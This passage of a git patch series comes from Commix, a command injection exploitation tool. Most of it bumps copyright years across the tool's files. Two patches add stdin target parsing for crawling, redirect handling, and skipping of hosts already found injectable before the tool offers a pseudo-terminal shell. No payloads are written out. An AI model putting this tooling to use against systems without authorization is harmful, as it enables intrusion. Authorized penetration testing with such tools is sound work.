-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 3b341542df..2abf819227 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py
index b4c7473177..49c88c01b1 100644
--- a/src/core/requests/tor.py
+++ b/src/core/requests/tor.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/shells/__init__.py
+++ b/src/core/shells/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 8283a9eb3e..b1bfe55630 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 0114780b2e..bfbdedd77d 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/core/tamper/__init__.py
+++ b/src/core/tamper/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
index 2d4fd80b0f..6724aad621 100644
--- a/src/core/tamper/backslashes.py
+++ b/src/core/tamper/backslashes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
index 884a211bee..ce28802e9a 100644
--- a/src/core/tamper/backticks.py
+++ b/src/core/tamper/backticks.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py
index 1c88cceffa..6b06cd2fca 100644
--- a/src/core/tamper/base64encode.py
+++ b/src/core/tamper/base64encode.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
index 21081e7cbb..40186a5d40 100644
--- a/src/core/tamper/caret.py
+++ b/src/core/tamper/caret.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
index b870ad2612..7720e6c4c1 100644
--- a/src/core/tamper/dollaratsigns.py
+++ b/src/core/tamper/dollaratsigns.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
index bd3269bb8f..350e8a3b6a 100644
--- a/src/core/tamper/doublequotes.py
+++ b/src/core/tamper/doublequotes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
index f19d538822..a558772774 100644
--- a/src/core/tamper/hexencode.py
+++ b/src/core/tamper/hexencode.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py
index e641415020..c6dd066fff 100644
--- a/src/core/tamper/multiplespaces.py
+++ b/src/core/tamper/multiplespaces.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
index 912d91288c..192b840022 100644
--- a/src/core/tamper/nested.py
+++ b/src/core/tamper/nested.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py
index eb03120e34..e864a888f9 100644
--- a/src/core/tamper/printf2echo.py
+++ b/src/core/tamper/printf2echo.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
index 585a0e795c..44729569a9 100644
--- a/src/core/tamper/singlequotes.py
+++ b/src/core/tamper/singlequotes.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
index 602ec6715c..ef4255cf20 100644
--- a/src/core/tamper/slash2env.py
+++ b/src/core/tamper/slash2env.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index 9f9ce00f44..90563587c6 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
index 867d80567c..5373dee4a5 100644
--- a/src/core/tamper/sleep2usleep.py
+++ b/src/core/tamper/sleep2usleep.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
index 5fb02052cf..e4c7dec6f1 100644
--- a/src/core/tamper/space2htab.py
+++ b/src/core/tamper/space2htab.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index 5ded16eccc..b4d61d2a36 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
index e969ddb9b4..22b37a6d5f 100644
--- a/src/core/tamper/space2plus.py
+++ b/src/core/tamper/space2plus.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
index f2e9057300..a59ddc21dc 100644
--- a/src/core/tamper/space2vtab.py
+++ b/src/core/tamper/space2vtab.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
index 6c50770eb7..e894055abf 100644
--- a/src/core/tamper/uninitializedvariable.py
+++ b/src/core/tamper/uninitializedvariable.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py
index 1db614ebf8..202413574a 100644
--- a/src/core/tamper/xforwardedfor.py
+++ b/src/core/tamper/xforwardedfor.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/testing.py b/src/core/testing.py
index 5677e338dc..78637df782 100644
--- a/src/core/testing.py
+++ b/src/core/testing.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/thirdparty/__init__.py
+++ b/src/thirdparty/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/__init__.py b/src/utils/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/utils/__init__.py
+++ b/src/utils/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/colors.py b/src/utils/colors.py
index 170e024eaa..d7a6bbc249 100644
--- a/src/utils/colors.py
+++ b/src/utils/colors.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/common.py b/src/utils/common.py
index 8eecc64479..b318946f56 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index af449f865e..b5d7fb8508 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/install.py b/src/utils/install.py
index 897894e222..44f1bf1b30 100644
--- a/src/utils/install.py
+++ b/src/utils/install.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/logs.py b/src/utils/logs.py
index 87686168b2..22734520a7 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 4fab4f266a..03d4659326 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/purge.py b/src/utils/purge.py
index 3d32bd877a..a34458552e 100644
--- a/src/utils/purge.py
+++ b/src/utils/purge.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/requirments.py b/src/utils/requirments.py
index f21690d6fb..8a06414a3a 100644
--- a/src/utils/requirments.py
+++ b/src/utils/requirments.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 73d0998c5b..99e573ef8f 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e65c44d151..551763bb4a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "27"
+REVISION = "28"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -251,7 +251,7 @@ def sys_argv_errors():
VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION
COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL
-YEAR = "2014-2022"
+YEAR = "2014-2023"
AUTHOR_TWITTER = "@ancst"
APPLICATION_URL = "https://commixproject.com"
APPLICATION_TWITTER = "@commixproject"
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
index 7bdb025297..aa9c77ee70 100644
--- a/src/utils/simple_http_server.py
+++ b/src/utils/simple_http_server.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/update.py b/src/utils/update.py
index 7282ab2471..9d27770ec2 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/utils/version.py b/src/utils/version.py
index a8a1b6de0e..4f2ca1e6fb 100644
--- a/src/utils/version.py
+++ b/src/utils/version.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
From f7d72f8a4ce7ed9c79392b7d631bef56ea4d85af Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 4 Jan 2023 07:25:16 +0200
Subject: [PATCH 246/560] Added support regarding combining `--crawl` option
with scanning multiple targets given from piped-input (i.e. stdin).
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 30 ++++++++++++++++++++----------
src/core/requests/redirection.py | 14 +++++++++-----
src/utils/settings.py | 2 +-
4 files changed, 31 insertions(+), 16 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 818c2d2511..c51d20d39a 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
diff --git a/src/core/main.py b/src/core/main.py
index 6a4d0ee58b..1736391973 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -321,6 +321,22 @@ def init_injection(url):
if settings.TIME_RELATIVE_ATTACK:
settings.TIME_RELATIVE_ATTACK = False
+"""
+Using 'stdin' for parsing targets.
+"""
+def stdin_parsing_target(os_checks_num):
+ _ = []
+ if os_checks_num == 0:
+ info_msg = "Using 'stdin' for parsing targets list."
+ print(settings.print_info_msg(info_msg))
+ menu.options.batch = True
+ settings.MULTI_TARGETS = True
+ for url in sys.stdin:
+ if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I):
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip()
+ _.append(url.rstrip())
+ return _
+
"""
The main function.
"""
@@ -870,11 +886,13 @@ def main(filename, url):
if settings.CRAWLING:
settings.CRAWLING_PHASE = True
url_num = 1
- if not menu.options.bulkfile:
+ if not menu.options.bulkfile and not settings.STDIN_PARSING:
crawling_list = 1
output_href = crawler.crawler(url, url_num, crawling_list)
output_href.append(url)
else:
+ if settings.STDIN_PARSING:
+ bulkfile = stdin_parsing_target(os_checks_num)
crawling_list = len(bulkfile)
for url in bulkfile:
output_href += (crawler.crawler(url, url_num, crawling_list))
@@ -889,15 +907,7 @@ def main(filename, url):
if not settings.STDIN_PARSING:
output_href = output_href + bulkfile
else:
- if os_checks_num == 0:
- info_msg = "Using 'stdin' for parsing targets list."
- print(settings.print_info_msg(info_msg))
- menu.options.batch = True
- bulkfile = sys.stdin
- settings.MULTI_TARGETS = True
- for url in bulkfile:
- if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I):
- output_href.append(url.rstrip())
+ output_href = stdin_parsing_target(os_checks_num)
# Removing duplicates from list.
clean_output_href = []
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index a602d73a2c..86018b8e19 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -62,8 +62,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
opener = _urllib.request.build_opener(RedirectHandler())
try:
response = opener.open(request, timeout=settings.TIMEOUT)
- if url == response.geturl():
+ if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED):
return response.geturl()
+ elif settings.CRAWLING and url in settings.HREF_SKIPPED:
+ return url
else:
while True:
if not settings.FOLLOW_REDIRECT:
@@ -72,14 +74,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
message += "Do you want to follow the identified redirection? [Y/n] > "
redirection_option = common.read_input(message, default="Y", check_batch=True)
-
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
- if not settings.CRAWLING:
- info_msg = "Following redirection to '" + response.geturl() + "'. "
- print(settings.print_info_msg(info_msg))
+ info_msg = "Following redirection to '" + response.geturl() + "'. "
+ print(settings.print_info_msg(info_msg))
+ if settings.CRAWLING:
+ settings.HREF_SKIPPED.append(response.geturl())
return checks.check_http_s(response.geturl())
elif redirection_option in settings.CHOICE_NO:
+ if settings.CRAWLING:
+ settings.HREF_SKIPPED.append(url)
return url
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 551763bb4a..07720e03ed 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "28"
+REVISION = "29"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From a73da295feb01cd6a4bb0a893d184bde7bbfc712 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 5 Jan 2023 09:58:28 +0200
Subject: [PATCH 247/560] Improvement regarding `--crawl` option, for skipping
further tests involving target that an injection point has already been
detected.
---
doc/CHANGELOG.md | 1 +
.../blind/techniques/time_based/tb_handler.py | 2 +
.../techniques/classic/cb_handler.py | 2 +
.../techniques/eval_based/eb_handler.py | 2 +
.../techniques/file_based/fb_handler.py | 2 +
src/core/main.py | 103 +++++++++++++-----
src/core/modules/shellshock/shellshock.py | 2 +
src/utils/settings.py | 5 +-
8 files changed, 88 insertions(+), 31 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index c51d20d39a..c7d3582b35 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.7 (TBA)
+* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin).
* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 7848b9c0c2..b040d64f40 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -457,6 +457,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 5d741557a8..03ea59c81b 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -335,6 +335,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 0a2d8d7619..0a07053332 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -346,6 +346,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index edb2c4b94e..a24fe70083 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -563,6 +563,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.CRAWLING:
+ settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/main.py b/src/core/main.py
index 1736391973..71124fbaba 100644
--- a/src/core/main.py
